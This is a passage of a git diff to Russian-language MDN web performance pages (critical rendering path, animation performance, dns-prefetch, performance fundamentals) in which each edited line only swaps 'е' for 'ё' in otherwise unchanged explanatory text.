            Построение DOM инкрементально. Ответ в виде HTML превращается в токены, которые превращаются в узлы (nodes), которые формируют DOM дерево. Простейший узел начинается с startTag-токена и заканчивается токеном endTag. Узлы содержат всю необходимую информацию об HTML элементе, соответствующем этому узлу. Узлы (nodes) связаны с Render Tree с помощью иерархии токенов: если какой-то набор startTag и endTag-токенов появляется между уже существующим набором токенов, мы получаем узел (node) внутри узла (node), то есть получаем иерархию дерева DOM.
            
 
-
            Чем больше количество узлов (node) имеет приложение, тем дольше происходит формирование DOM tree, а значит дольше происходит обработка критических этапов рендеринга. Измеряйте! Несколько лишних узлов (node) не сделают погоды, но divitis обязательно приведет к подвисаниям.
            
+
            Чем больше количество узлов (node) имеет приложение, тем дольше происходит формирование DOM tree, а значит дольше происходит обработка критических этапов рендеринга. Измеряйте! Несколько лишних узлов (node) не сделают погоды, но divitis обязательно приведёт к подвисаниям.
            
 
 
            CSS Object Model
            
 
-
            DOM несет в себе всё содержимое страницы. CSSOM содержит все стили страницы, то есть данные о том, как стилизовать DOM. CSSOM похож на DOM, но всё же отличается. Если формирование DOM инкрементально, CSSOM - нет. CSS блокирует рендер: браузер блокирует рендеринг страницы до тех пор, пока не получит и не обработает все CSS-правила. CSS блокирует рендеринг, потому что правила могут быть перезаписаны, а значит, необходимо дождаться построения CSSOM, чтобы убедиться в отсутствии дополнительных переопределений.
            
+
            DOM несёт в себе всё содержимое страницы. CSSOM содержит все стили страницы, то есть данные о том, как стилизовать DOM. CSSOM похож на DOM, но всё же отличается. Если формирование DOM инкрементально, CSSOM - нет. CSS блокирует рендер: браузер блокирует рендеринг страницы до тех пор, пока не получит и не обработает все CSS-правила. CSS блокирует рендеринг, потому что правила могут быть перезаписаны, а значит, необходимо дождаться построения CSSOM, чтобы убедиться в отсутствии дополнительных переопределений.
            
 
-
            У CSS имеются свои правила валидации токенов. Помните, что C в CSS означает "Cascade". CSS правила ниспадают каскадом. Иными словами, когда парсер преобразует токены в узлы (nodes), вложенные узлы наследуют стили от родительских. Инкрементальная обработка недоступна для CSS, потому что набор следующих правил может перезаписать предыдущие. Объектная модель CSS (CSSOM) строится по мере парсинга CSS, но она не может быть использована для построения дерева рендера (render tree), потому что может оказаться так, что следующий набор правил может сделать какой-либо из узлов дерева невидимым на экране. Это может привести к лишнему вызову компоновки и перерасчета стилей.
            
+
            У CSS имеются свои правила валидации токенов. Помните, что C в CSS означает "Cascade". CSS правила ниспадают каскадом. Иными словами, когда парсер преобразует токены в узлы (nodes), вложенные узлы наследуют стили от родительских. Инкрементальная обработка недоступна для CSS, потому что набор следующих правил может перезаписать предыдущие. Объектная модель CSS (CSSOM) строится по мере парсинга CSS, но она не может быть использована для построения дерева рендера (render tree), потому что может оказаться так, что следующий набор правил может сделать какой-либо из узлов дерева невидимым на экране. Это может привести к лишнему вызову компоновки и перерасчёта стилей.
            
 
-
            Говоря о производительности селекторов (selector), наименее специфичные селекторы срабатывают быстрее. Например, .foo {} сработает быстрее .bar .foo {}. В первом случае, условно, понадобится одна операция, чтобы найти элемент .foo, во втором случае, сначала будут найдены все .foo, а потом браузер пройдет вверх по дереву в поисках родительского элемента .bar. Более специфичные селекторы требуют от браузера большего количества работы, но эти проблемы, вероятно, не стоят их оптимизации.
            
+
            Говоря о производительности селекторов (selector), наименее специфичные селекторы срабатывают быстрее. Например, .foo {} сработает быстрее .bar .foo {}. В первом случае, условно, понадобится одна операция, чтобы найти элемент .foo, во втором случае, сначала будут найдены все .foo, а потом браузер пройдёт вверх по дереву в поисках родительского элемента .bar. Более специфичные селекторы требуют от браузера большего количества работы, но эти проблемы, вероятно, не стоят их оптимизации.
            
 
 
            Если вы измерите время, требуемое на парсинг CSS, вы будете удивлены тем, как быстро работают браузеры. Более специфичные правила более затратны, потому что требуют обхода большего числа узлов в DOM дереве, но эта дороговизна обходится довольно дёшево, особенно в сравнении с другими узкими местами производительности. Сначала измеряйте. Потом оптимизируйте, если это действительно необходимо. Вероятно, специфичность селекторов не то, что действительно затормаживает ваше приложение. Когда дело доходит до оптимизации CSS, улучшение производительность селекторов ускоряет рендеринг лишь на микросекунды. Существуют другие пути оптимизации CSS, такие как унификация, разделение CSS-файлов на разные файлы на основе media-queries.
            
 
@@ -43,17 +43,17 @@ translation_of: Web/Performance/Critical_rendering_path
 
 
            В тот момент, когда дерево рендера (render tree) построено, становится возможным этап компоновки (layout). Компоновка зависит от размеров экрана. Этот этап определяет, где и как на странице будут спозиционированы элементы и каковы связи между элементами.
            
 
-
            Что насчет ширины элемента? Блочные элемент по определению имеют ширину в 100% от ширины их родителя. Элемент с шириной в 50% будет иметь ширину в два раза меньше родительской. Если не указано иного, элемент body имеет ширину 100%, то есть 100% ширины родителя - видимой области viewport (окна документа).
            
+
            Что насчёт ширины элемента? Блочные элемент по определению имеют ширину в 100% от ширины их родителя. Элемент с шириной в 50% будет иметь ширину в два раза меньше родительской. Если не указано иного, элемент body имеет ширину 100%, то есть 100% ширины родителя - видимой области viewport (окна документа).
            
 
 
            Мета тэг viewport, который вы можете указать в Head страницы, определяет ширину видимой области и влияет на компоновку. Без этого тэга браузеры используют ширину "по умолчанию", которая обычно составляет 960px. В браузерах, открывающихся по умолчанию в полноэкранном режиме, например, в браузере телефона, установка тега <meta name="viewport" content="width=device-width"> установит ширину видимой области в 100% от ширины экрана устройства, вместо того, чтобы использовать ширину по умолчанию. Эта ширина (device-width) изменяется каждый раз, когда пользователь поворачивает телефон. Это приводит к запуску этапа компоновки. Равно как и при изменении размеров окна в обычном браузере.
            
 
-
            На производительность компоновки (layout) непосредственно влияет DOM - чем больше узлов (nodes) в вашем документе, тем больше времени понадобится на перерасчет позиций и размеров всех элементов. Компоновка может стать узким местом, ведущим к зависаниям, особенно если выполняет одновременно со скроллом или другой анимацией. И хотя задержка 20мс при загрузке или переориентации экрана может быть приемлемой, это все равно может привести к подвисаниям при анимации и скролле. Каждый раз, когда дерево рендера (render tree) модифицируется, например, из-за добавления узла (node), его модификации или при изменении стилей box-модели, запускается компоновка.
            
+
            На производительность компоновки (layout) непосредственно влияет DOM - чем больше узлов (nodes) в вашем документе, тем больше времени понадобится на перерасчёт позиций и размеров всех элементов. Компоновка может стать узким местом, ведущим к зависаниям, особенно если выполняет одновременно со скроллом или другой анимацией. И хотя задержка 20мс при загрузке или переориентации экрана может быть приемлемой, это все равно может привести к подвисаниям при анимации и скролле. Каждый раз, когда дерево рендера (render tree) модифицируется, например, из-за добавления узла (node), его модификации или при изменении стилей box-модели, запускается компоновка.
            
 
 
            Для уменьшения частоты и продолжительности этого этапа, группируйте обновления экрана и избегайте анимации свойств, связанных с box-моделью элементов.
            
 
 
            Отрисовка (Paint)
            
 
-
            Последний этап в нашем списке - отрисовка (paint) пикселей на экране. Когда дерево рендера (render tree) создано, компоновка (layout) произошла, пиксели могут быть отрисованы. При первичной загрузке документа (onload) весь экран будет отрисован. После этого только необходимые к обновлению части экрана будут перерисовываться, так как браузер старается оптимизировать процесс отрисовки, избегая ненужной работы. Так, если у вас в документе есть два элемента, перерисовываться будет только тот, который вы изменили. Время отрисовки зависит от того, какой тип обновления применился к дереву рендера (render tree). И хотя отрисовка - это очень быстрый процесс, и он, вероятно, слабо влияет на производительность, очень важно помнить, что оба этапа - компоновка (layout) и отрисовка (paint) должны работать сообща и укладываться в частоту обновления кадров. Каждое CSS-свойство, применяемое к любому узлу (node) увеличивает время отрисовки, но полное удаление стиля, способное сэкономить вам 0.001мс, вряд ли даст вам желаемый результат, но зато с легкостью ухудшит пользовательский опыт. Помните - сначала нужно измерять, а потом оптимизировать только необходимое!
            
+
            Последний этап в нашем списке - отрисовка (paint) пикселей на экране. Когда дерево рендера (render tree) создано, компоновка (layout) произошла, пиксели могут быть отрисованы. При первичной загрузке документа (onload) весь экран будет отрисован. После этого только необходимые к обновлению части экрана будут перерисовываться, так как браузер старается оптимизировать процесс отрисовки, избегая ненужной работы. Так, если у вас в документе есть два элемента, перерисовываться будет только тот, который вы изменили. Время отрисовки зависит от того, какой тип обновления применился к дереву рендера (render tree). И хотя отрисовка - это очень быстрый процесс, и он, вероятно, слабо влияет на производительность, очень важно помнить, что оба этапа - компоновка (layout) и отрисовка (paint) должны работать сообща и укладываться в частоту обновления кадров. Каждое CSS-свойство, применяемое к любому узлу (node) увеличивает время отрисовки, но полное удаление стиля, способное сэкономить вам 0.001мс, вряд ли даст вам желаемый результат, но зато с лёгкостью ухудшит пользовательский опыт. Помните - сначала нужно измерять, а потом оптимизировать только необходимое!
            
 
 
            Оптимизация CRP
            
 
diff --git a/files/ru/web/performance/css_javascript_animation_performance/index.html b/files/ru/web/performance/css_javascript_animation_performance/index.html
index b6dbb2bedf..8996f5f957 100644
--- a/files/ru/web/performance/css_javascript_animation_performance/index.html
+++ b/files/ru/web/performance/css_javascript_animation_performance/index.html
@@ -25,7 +25,7 @@ translation_of: Web/Performance/CSS_JavaScript_animation_performance
 
 
            requestAnimationFrame
            
 
-
            API {{domxref("Window.requestAnimationFrame","requestAnimationFrame()")}} предоставляет эффективный способ создания анимаций в JavaScript. Функция (callback), которую вы передаете в этот метод, будет вызываться перед каждой следующей отрисовкой нового фрейма. Главное отличие от {{domxref("WindowTimers.setTimeout","setTimeout()")}}/{{domxref("WindowTimers.setInterval","setInterval()")}} в том, что здесь вам не нужно указывать время, через которое функция запустится. requestAnimationFrame() работает гораздо эффективнее, учитывая частоту кадров и производительность системы. Разработчики могут создавать  анимацию, просто изменяя стили элемента каждый раз, когда происходит подготовка нового кадра (или когда обновляется полотно Canvas или в других случаях).
            
+
            API {{domxref("Window.requestAnimationFrame","requestAnimationFrame()")}} предоставляет эффективный способ создания анимаций в JavaScript. Функция (callback), которую вы передаёте в этот метод, будет вызываться перед каждой следующей отрисовкой нового фрейма. Главное отличие от {{domxref("WindowTimers.setTimeout","setTimeout()")}}/{{domxref("WindowTimers.setInterval","setInterval()")}} в том, что здесь вам не нужно указывать время, через которое функция запустится. requestAnimationFrame() работает гораздо эффективнее, учитывая частоту кадров и производительность системы. Разработчики могут создавать  анимацию, просто изменяя стили элемента каждый раз, когда происходит подготовка нового кадра (или когда обновляется полотно Canvas или в других случаях).
            
 
 
            
 
            Заметка: Подобно CSS transition и animation, requestAnimationFrame() приостанавливает работу, когда текущий таб переводится в фоновый режим (например, при смене фокуса)
            
@@ -38,7 +38,7 @@ translation_of: Web/Performance/CSS_JavaScript_animation_performance
 
 
            По факту, в большинстве случаев, производительность анимаций CSS практически идентична анимациям на JavaScript. По крайней мере в Firefox. Авторы некоторых JavaScript библиотек для анимации, например GSAP или Velocity.JS, даже берутся утверждать, что их решения могут работать быстрее, чем аналогичные решения на CSS. Такое возможно, потому что CSS transitions/animations просто заново вычисляют стили элементов в основном потоке процессора сразу перед тем, как срабатывает событие repaint, что примерно то же самое, что вычислять стили заново с помощью requestAnimationFrame(). Если обе анимации выполняются в одном потоке, то разницы в производительности не будет.
            
 
-
            В следующей секции мы пройдемся по тестам производительности, используя Firefox, чтобы увидеть, какие методы анимации работают эффективнее.
            
+
            В следующей секции мы пройдёмся по тестам производительности, используя Firefox, чтобы увидеть, какие методы анимации работают эффективнее.
            
 
 
            Включение измерения частоты кадров FPS
            
 
diff --git a/files/ru/web/performance/dns-prefetch/index.html b/files/ru/web/performance/dns-prefetch/index.html
index d6575dcf2a..2db1d62980 100644
--- a/files/ru/web/performance/dns-prefetch/index.html
+++ b/files/ru/web/performance/dns-prefetch/index.html
@@ -13,7 +13,7 @@ translation_of: Web/Performance/dns-prefetch
 
 
            Бывают случаи, когда в вашем приложении используются ссылки на домены, отличные от основного домена приложения. Например, внутри вашего приложения на "a.com" есть ссылка на домен "b.org". Для того, чтобы пройти по этой ссылке, пользовательский клиент должен сначала выяснить, какой адрес в интернете соответствует доменному имени "b.org". Этот процесс называется DNS resolution. И хотя механизмы кеширования DNS помогают сократить время запросов, DNS Resolution заметно влияет на время ожидания запроса из-за того, что первый клиентский запрос уходит сначала на DNS сервера и дожидается ответа от них. Для приложений, которые открывают соединения ко многим сторонним доменам, влияние DNS Resolution может сильно уменьшить производительность загрузки.
            
 
-
            dns-prefetch помогает разработчикам замаскировать ожидание DNS resolution. HTML <link> элемент предлагает подобный функционал с помощью атрибута rel, значение которого может содержать dns-prefetch. В этом случае, предзагрузка DNS произойдет для домена, указанного в атрибуте href:
            
+
            dns-prefetch помогает разработчикам замаскировать ожидание DNS resolution. HTML <link> элемент предлагает подобный функционал с помощью атрибута rel, значение которого может содержать dns-prefetch. В этом случае, предзагрузка DNS произойдёт для домена, указанного в атрибуте href:
            
 
 
            Синтаксис
            
 
@@ -44,7 +44,7 @@ translation_of: Web/Performance/dns-prefetch
 
 
            Link: <https://fonts.gstatic.com/>; rel=dns-prefetch
            
 
-
            В третьих,  хорошей практикой считается использование dns-prefetch в паре с  preconnect. В то время, как dns-prefetch срабатывает только при DNS поиске, preconnect устанавливает соединение к нужному серверу. Этот процесс включает в себя DNS resolution, установку TCP соединения и установление безопасного соединения (TLS рукопожатие), если оно доступно. Комбинирование этих двух инструкций дает возможность ещё больше сократить время ожидания для кросс-доменных запросов. Вы можете использовать их вместе таким образом:
            
+
            В третьих,  хорошей практикой считается использование dns-prefetch в паре с  preconnect. В то время, как dns-prefetch срабатывает только при DNS поиске, preconnect устанавливает соединение к нужному серверу. Этот процесс включает в себя DNS resolution, установку TCP соединения и установление безопасного соединения (TLS рукопожатие), если оно доступно. Комбинирование этих двух инструкций даёт возможность ещё больше сократить время ожидания для кросс-доменных запросов. Вы можете использовать их вместе таким образом:
            
 
 
            <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin>
 <link rel="dns-prefetch" href="https://fonts.gstatic.com/">
diff --git a/files/ru/web/performance/fundamentals/index.html b/files/ru/web/performance/fundamentals/index.html
index b7e7d891c0..704ebee8a2 100644
--- a/files/ru/web/performance/fundamentals/index.html
+++ b/files/ru/web/performance/fundamentals/index.html
@@ -19,7 +19,7 @@ original_slug: Web/Performance/Основы
 
 
            Ощущаемая пользователем "производительность" - это единственная производительность, которая имеет значение. Пользователи взаимодействуют с системой с помощью ввода каких-то данных: прикосновений, движения и речи. В ответ, они получают реакцию, основанную на зрительном, тактильном или слуховом аппаратах. Производительность - это качество того, как система реагирует на действия пользователя.
            
 
-
            При прочих равных, код, оптимизированный для каких-то иных целей, кроме ощущаемой пользователем производительности (здесь и дальше UPP, user-perceived performance) всегда проигрывает коду, который оптимизирован для UPP. Упрощенно говоря, пользователи предпочитают отзывчивое и плавное приложение, которое обрабатывает 1,000 транзакций к базе данных в секунду грубому неотзывчивому приложению, которое обрабатывает 100,000,000 запросов в секунду. Конечно, это не означает, что другие метрики становятся ненужным, но первой вашей целью должна быть UPP.
            
+
            При прочих равных, код, оптимизированный для каких-то иных целей, кроме ощущаемой пользователем производительности (здесь и дальше UPP, user-perceived performance) всегда проигрывает коду, который оптимизирован для UPP. Упрощённо говоря, пользователи предпочитают отзывчивое и плавное приложение, которое обрабатывает 1,000 транзакций к базе данных в секунду грубому неотзывчивому приложению, которое обрабатывает 100,000,000 запросов в секунду. Конечно, это не означает, что другие метрики становятся ненужным, но первой вашей целью должна быть UPP.
            
 
 
            Следующие разделы укажут и объяснят некоторые метрики производительности:
            
 
@@ -55,7 +55,7 @@ original_slug: Web/Performance/Основы
 
 
            Последний показатель, который нужно упомянуть - это потребление энергии. Подобно использованию памяти, пользователь чувствует потребление памяти опосредованно, отмечая время, через которое устройство начинает изменять воспринимаемую пользователем производительность (UPP). Для минимизации отрицательных эффектов использования энергии, мы должны делать систему экономной.
            
 
-
            Для примера, вспомните, как работают мобильные устройства: вы можете включить режим энергосбережения, когда отключаются другие системы. Но есть и более жесткий режим, который включается автоматически, когда заряд уменьшается до 5% - система включает троттлинг процессора, замедляя выполнение всех инструкций.
            
+
            Для примера, вспомните, как работают мобильные устройства: вы можете включить режим энергосбережения, когда отключаются другие системы. Но есть и более жёсткий режим, который включается автоматически, когда заряд уменьшается до 5% - система включает троттлинг процессора, замедляя выполнение всех инструкций.
            
 
 
            Всю оставшуюся часть статьи мы будем обсуждать производительность в свете этих показателей.
            
 
@@ -72,7 +72,7 @@ original_slug: Web/Performance/Основы
 
            Элемент Холст (canvas) предоставляет прямой доступ к пиксельному буферу, где разработчик может рисовать.Это даёт разработчику возможность контролировать каждый пиксель во время рендеринга, точно контролировать частоту кадров; но тогда разработчик должен иметь в виду работу с большим количеством разрешений экранов и ориентаций; RTL языками и т.д. Разработчики, работающие напрямую с холстами, используют либо знакомое 2D API, либо API WebGL, достаточно "близкий к железу" и по большей части придерживающийся OpenGL ES 2.0.
            
 
 
            
-
            Заметка: Firefox OS оптимизирована для работы с приложениями, основанными на Web технологиях: HTML, CSS, JavaScript и т.д. За исключением некоторых базовых служб операционной системы, весь код Firefox OS пришел из Web приложений и движка Gecko. Даже оконный менеджер операционной системы написан на HTML, CSS и JavaScript. В связи с тем, что ядро операционной системы написано  на этих технологиях, было критически важно соблюсти производительность этих технологий. В Firefox OS не может быть какого-то "запасного выхода". И это очень полезно для разработчиков, потому что теперь сторонние приложения могут использовать все преимущества оптимизации операционной системы. Не существует какого-то "магического зелья производительности", доступного только для предустановленных приложений.
            
+
            Заметка: Firefox OS оптимизирована для работы с приложениями, основанными на Web технологиях: HTML, CSS, JavaScript и т.д. За исключением некоторых базовых служб операционной системы, весь код Firefox OS пришёл из Web приложений и движка Gecko. Даже оконный менеджер операционной системы написан на HTML, CSS и JavaScript. В связи с тем, что ядро операционной системы написано  на этих технологиях, было критически важно соблюсти производительность этих технологий. В Firefox OS не может быть какого-то "запасного выхода". И это очень полезно для разработчиков, потому что теперь сторонние приложения могут использовать все преимущества оптимизации операционной системы. Не существует какого-то "магического зелья производительности", доступного только для предустановленных приложений.
            
 
 
            См. Тестирование производительности Firefox OS для подробностей.
            
 
            
@@ -81,7 +81,7 @@ original_slug: Web/Performance/Основы
 
 
            Движок Gecko JavaScript поддерживает just-in-time (JIT) компиляцию. Благодаря этому, логика приложения выполняется примерно так же, как это происходит в других приложениях на виртуальных машинах - например, Java Virtual Machines - а в некоторых случаях эффективность этих приложений близка к "нативному коду".
            
 
-
            Инструменты, необходимые для работы с HTML, CSS и Canvas оптимизированы несколькими путями. Например, композиция (этап, известный как Layout) в HTML/CSS и код, отвечающий за графику в Gecko, сделаны таким образом, чтобы уменьшить количество операций ревалидации и перерисовки для общих случаев (например, скроллинг); эти оптимизации включены "по умолчанию", поэтому разработчики пользуются ими бесплатно. Буферы пикселей, отрисованных как для Gecko "автоматически", так и для canvas "вручную", минимизируют количество копий, которые передаются в буфер кадров дисплея. Чтобы достичь этого, Gecko старается избегать создания промежуточных слоев (например, во многих других операционных системах создаются пиксельные фоновые буферы для каждого отдельного приложения), но взамен Gecko использует специальные участки памяти для хранения графических буферов. К этой памяти имеет прямой доступ железо, которое ответственно за формирование картинки. Сложные сцены рендерятся с использованием графического адаптера (видеокарты). А простые сцены, для экономии энергии, рендерятся специальным выделенным железом для композиции, в то время, как графический адаптер находится в режиме ожидания или выключен.
            
+
            Инструменты, необходимые для работы с HTML, CSS и Canvas оптимизированы несколькими путями. Например, композиция (этап, известный как Layout) в HTML/CSS и код, отвечающий за графику в Gecko, сделаны таким образом, чтобы уменьшить количество операций ревалидации и перерисовки для общих случаев (например, скроллинг); эти оптимизации включены "по умолчанию", поэтому разработчики пользуются ими бесплатно. Буферы пикселей, отрисованных как для Gecko "автоматически", так и для canvas "вручную", минимизируют количество копий, которые передаются в буфер кадров дисплея. Чтобы достичь этого, Gecko старается избегать создания промежуточных слоёв (например, во многих других операционных системах создаются пиксельные фоновые буферы для каждого отдельного приложения), но взамен Gecko использует специальные участки памяти для хранения графических буферов. К этой памяти имеет прямой доступ железо, которое ответственно за формирование картинки. Сложные сцены рендерятся с использованием графического адаптера (видеокарты). А простые сцены, для экономии энергии, рендерятся специальным выделенным железом для композиции, в то время, как графический адаптер находится в режиме ожидания или выключен.
            
 
 
            Для продвинутых приложений полностью статичный контент скорее является исключением, чем правилом. Такие приложения используют динамический контент, анимируемый с помощью {{ cssxref("animation") }} и {{ cssxref ("transition") }}. Переходы и анимации особенно важны для приложений: разработчики могут использовать CSS для объявления сложного поведения с помощью простого высокоуровнего синтаксиса. С другой стороны, движок Gecko хорошо оптимизирован для того, чтобы рендерить такую анимацию эффективно. В целом, общепринятые анимации передаются к обработке системному компоновщику, который может отрендерить их в эффективном, энергосберегающем режиме. 
            
 
@@ -123,7 +123,7 @@ original_slug: Web/Performance/Основы
 
 
            Web-платформа очень динамична. JavaScript - это динамически типизированный язык, а Web разрешает загружать код, HTML, CSS, изображения и другие ресурсы динамически. Эти функции могут быть использованы для того, чтобы отложить загрузку ресурсов; чтобы сократить критический путь, подвинув загрузку лишнего контента на несколько моментов позже. Такой подход называется "ленивой загрузкой".
            
 
-
            Другая проблема, которая может привести к ненужному простою - это ожидание ответа на запросы (например, запрос к базе данных). Чтобы избегать этой проблемы, приложение должно запрашивать данные как можно раньше, еще во время запуска программы. Тогда к моменту, когда данные понадобятся - они уже будут в системе и приложению не придется ждать.
            
+
            Другая проблема, которая может привести к ненужному простою - это ожидание ответа на запросы (например, запрос к базе данных). Чтобы избегать этой проблемы, приложение должно запрашивать данные как можно раньше, ещё во время запуска программы. Тогда к моменту, когда данные понадобятся - они уже будут в системе и приложению не придётся ждать.
            
 
 
            
 
            Заметка: Для дополнительной информации об ускорении запуска ознакомьтесь с Optimizing startup performance.
            
@@ -133,7 +133,7 @@ original_slug: Web/Performance/Основы
 
 
            Частота кадров
            
 
-
            Первая важная вещь для высокой частоты кадров - это выбор правильного инструмента. Используйте HTML и CSS для создания контента, который будет в основном статическим, прокручиваемым и редко анимируемым. Используйте Canvas для создания высокодинамичного контента, например, игр, которые требуют серьезного контроля рендеринга и не нуждаются в темах.
            
+
            Первая важная вещь для высокой частоты кадров - это выбор правильного инструмента. Используйте HTML и CSS для создания контента, который будет в основном статическим, прокручиваемым и редко анимируемым. Используйте Canvas для создания высокодинамичного контента, например, игр, которые требуют серьёзного контроля рендеринга и не нуждаются в темах.
            
 
 
            При отрисовывании контента в Canvas, разработчик должен сам позаботиться о достижении целей по частоте кадров, ведь он получает полный контроль над всем, что отрисовывается.
            
 
@@ -168,7 +168,7 @@ original_slug: Web/Performance/Основы
 
 
            Вместо использования функции  animate() какой-нибудь библиотеки, которая, вероятно, использует много плохих решений (например ({{domxref("window.setTimeout()")}} или анимирование top / left), используйте CSS анимации. Во многих случаях, вы можете использовать CSS Transitions. Использование этих свойств поможет, так как браузер спроектирован так, чтобы оптимизировать эти эффекты и переносить часть вычислений на GPU, чтобы они работали плавно и с минимальным влиянием на процессор. Другое преимущество - вы можете определить эти анимации в CSS декларативным образом, а не в бизнес-логике приложения.
            
 
-
            CSS анимации дают вам очень точный контроль эффектов, если вы используете keyframes. Более того, вы сможете отслеживать события, которые происходят во время анимации, так как основной поток обработки не блокируется. Вы можете с легкостью запускать анимации с помощью {{cssxref(":hover")}}, {{cssxref(":focus")}} или {{cssxref(":target")}}. Или динамически добавляя или удаляя классы элемента.
            
+
            CSS анимации дают вам очень точный контроль эффектов, если вы используете keyframes. Более того, вы сможете отслеживать события, которые происходят во время анимации, так как основной поток обработки не блокируется. Вы можете с лёгкостью запускать анимации с помощью {{cssxref(":hover")}}, {{cssxref(":focus")}} или {{cssxref(":target")}}. Или динамически добавляя или удаляя классы элемента.
            
 
 
            Если вы хотите создавать анимации "на лету" или изменять их с помощью JavaScript, Джеймс Лонг написал простую библиотеку для этого - CSS-animations.js.
            
 
@@ -176,7 +176,7 @@ original_slug: Web/Performance/Основы
 
 
            Вместо того, чтобы изменять абсолютное позиционирование и возиться с этой математикой вручную, используйте свойство {{cssxref("transform")}}, чтобы изменить позицию, масштаб и некоторые другие аспекты вашего контента. Именно так вы используете аппаратное ускорение. Браузер умеет передавать такие задачи графическому процессору, давая возможность ЦПУ заняться другими важными вещами.
            
 
-
            К тому же, трансформация даёт возможности, которых в ином случае у вас не было бы. Вы не только можете манипулировать элементом в двумерном пространстве, но можете трансформировать его в 3D, изменять его наклон (скашивать, skew), поворачивать и др. Пол Айриш опубликовал статью in-depth analysis of the benefits of translate(), в которой проанализировал работу translate с точки зрения производительности. Используя translate/transform вы используете правильный декларативный инструмент и возлагаете ответственность за его оптимизацию на браузер. Вы так же получаете возможность с легкостью позиционировать элементы. Если вы будете использовать только top и left, вам придется написать некоторый дополнительный код, чтобы предусмотреть некоторые особенности такого позиционирования. И последний бонус - с Transform / Translate вы будете работать примерно так же, как работали бы с элементом canvas.
            
+
            К тому же, трансформация даёт возможности, которых в ином случае у вас не было бы. Вы не только можете манипулировать элементом в двумерном пространстве, но можете трансформировать его в 3D, изменять его наклон (скашивать, skew), поворачивать и др. Пол Айриш опубликовал статью in-depth analysis of the benefits of translate(), в которой проанализировал работу translate с точки зрения производительности. Используя translate/transform вы используете правильный декларативный инструмент и возлагаете ответственность за его оптимизацию на браузер. Вы так же получаете возможность с лёгкостью позиционировать элементы. Если вы будете использовать только top и left, вам придётся написать некоторый дополнительный код, чтобы предусмотреть некоторые особенности такого позиционирования. И последний бонус - с Transform / Translate вы будете работать примерно так же, как работали бы с элементом canvas.
            
 
 
            
 
            Заметка: В некоторых случаях (в зависимости от платформы) вам может понадобиться добавить свойство translateZ(0.1), если вы хотите заставить клиента перенести вычисление анимаций на графический адаптер. Как было упомянуто выше, это может улучшить производительность, но увеличит потребление памяти. Какое из зол - меньшее - решать вам. Протестируйте оба варианта и выясните, что лучше подходит для вашего приложения.
            
@@ -184,9 +184,9 @@ original_slug: Web/Performance/Основы
 
 
            Используйте requestAnimationFrame() вместо setInterval()
            
 
-
            Вызовы {{domxref("window.setInterval()")}} запускают код с учётом предполагаемой частоты кадров. Однако, эта ожидаемая частота и фактическая не всегда совпадают. SetInternal говорит браузеру "нарисуй результаты", даже если браузер не занимается сейчас отрисовкой - такое случается, когда графический адаптер ещё не дошел до следующего цикла обновления экрана. Такое несовпадение таймингов - чрезмерная растрата процессорного времени и даже может приводить к снижению срока службы аккумуляторов пользовательского устройств.
            
+
            Вызовы {{domxref("window.setInterval()")}} запускают код с учётом предполагаемой частоты кадров. Однако, эта ожидаемая частота и фактическая не всегда совпадают. SetInternal говорит браузеру "нарисуй результаты", даже если браузер не занимается сейчас отрисовкой - такое случается, когда графический адаптер ещё не дошёл до следующего цикла обновления экрана. Такое несовпадение таймингов - чрезмерная растрата процессорного времени и даже может приводить к снижению срока службы аккумуляторов пользовательского устройств.
            
 
-
            Вместо этого, вам необходимо использовать {{domxref("window.requestAnimationFrame()")}}. Эта функция ждет, пока клиент не будет готов к формированию следующего кадра анимации и не будет досаждать своими запросами аппаратную часть устройства, если устройство не занимается в данный момент рендерингом. Другое преимущество этого API в том, что такие анимации не будут запускаться, пока ваше приложение не видно на экране (например, если оно выполняется в фоне или занимается другими операциями). Это сохранит батарею и защитит вас от проклятий, которые пользователи будут выкрикивать в небо.
            
+
            Вместо этого, вам необходимо использовать {{domxref("window.requestAnimationFrame()")}}. Эта функция ждёт, пока клиент не будет готов к формированию следующего кадра анимации и не будет досаждать своими запросами аппаратную часть устройства, если устройство не занимается в данный момент рендерингом. Другое преимущество этого API в том, что такие анимации не будут запускаться, пока ваше приложение не видно на экране (например, если оно выполняется в фоне или занимается другими операциями). Это сохранит батарею и защитит вас от проклятий, которые пользователи будут выкрикивать в небо.
            
 
 
            Делайте события мгновенными
            
 
@@ -200,7 +200,7 @@ original_slug: Web/Performance/Основы
 
 
            Общий анализ производительности
            
 
-
            Firefox, Chrome и другие браузеры предоставляют встроенные инструменты, которые могут помочь вам диагностировать медленный рендеринг. В частности, Firefox's Network Monitor покажет точное время, когда произошел каждый сетевой запрос, насколько большим он был и как долго обрабатывался.
            
+
            Firefox, Chrome и другие браузеры предоставляют встроенные инструменты, которые могут помочь вам диагностировать медленный рендеринг. В частности, Firefox's Network Monitor покажет точное время, когда произошёл каждый сетевой запрос, насколько большим он был и как долго обрабатывался.
            
 
 
            The Firefox network monitor showing get requests, multiple files, and different times taken to load each resource on a graph.
            
 
@@ -222,4 +222,4 @@ original_slug: Web/Performance/Основы
 
 
            Если инструменты разработчика в Firefox или Chrome не помогают вам выяснить проблему или выглядит так, что браузеры сами по себе создают проблему, попробуйте сформировать тестовое окружение, которое максимально изолирует проблему. Это очень часто помогать диагностировать проблему.
            
 
-
            Убедитесь, что вы можете воспроизвести проблему, просто сохраняя и загружая статическую копию HTML-страницы (включая изображения/стили/скрипты). Если так - удалите из HTML файла всю личную информацию и обратитесь к за помощью (отправьте отчет в Bugzilla или, например, сохраните файл на своем сервере и поделитесь ссылкой). Вам также понадобится поделиться информацией профилировщика, которую вы собрали с помощью инструментов отладки.
            
+
            Убедитесь, что вы можете воспроизвести проблему, просто сохраняя и загружая статическую копию HTML-страницы (включая изображения/стили/скрипты). Если так - удалите из HTML файла всю личную информацию и обратитесь к за помощью (отправьте отчёт в Bugzilla или, например, сохраните файл на своём сервере и поделитесь ссылкой). Вам также понадобится поделиться информацией профилировщика, которую вы собрали с помощью инструментов отладки.
            
diff --git a/files/ru/web/performance/how_browsers_work/index.html b/files/ru/web/performance/how_browsers_work/index.html
index cda110effb..97c05dfae7 100644
--- a/files/ru/web/performance/how_browsers_work/index.html
+++ b/files/ru/web/performance/how_browsers_work/index.html
@@ -37,11 +37,11 @@ translation_of: Web/Performance/How_browsers_work
 
 
            DNS запрос
            
 
-
            Первый шаг навигации к странице - это поиск места, откуда нужно запрашивать данные. Если вы переходите на https://example.com, браузер грузит HTML-код страницы с IP-адреса 93.184.216.34. Если вы никогда ранее не были на этом сайте, произойдет поиск DNS записи.
            
+
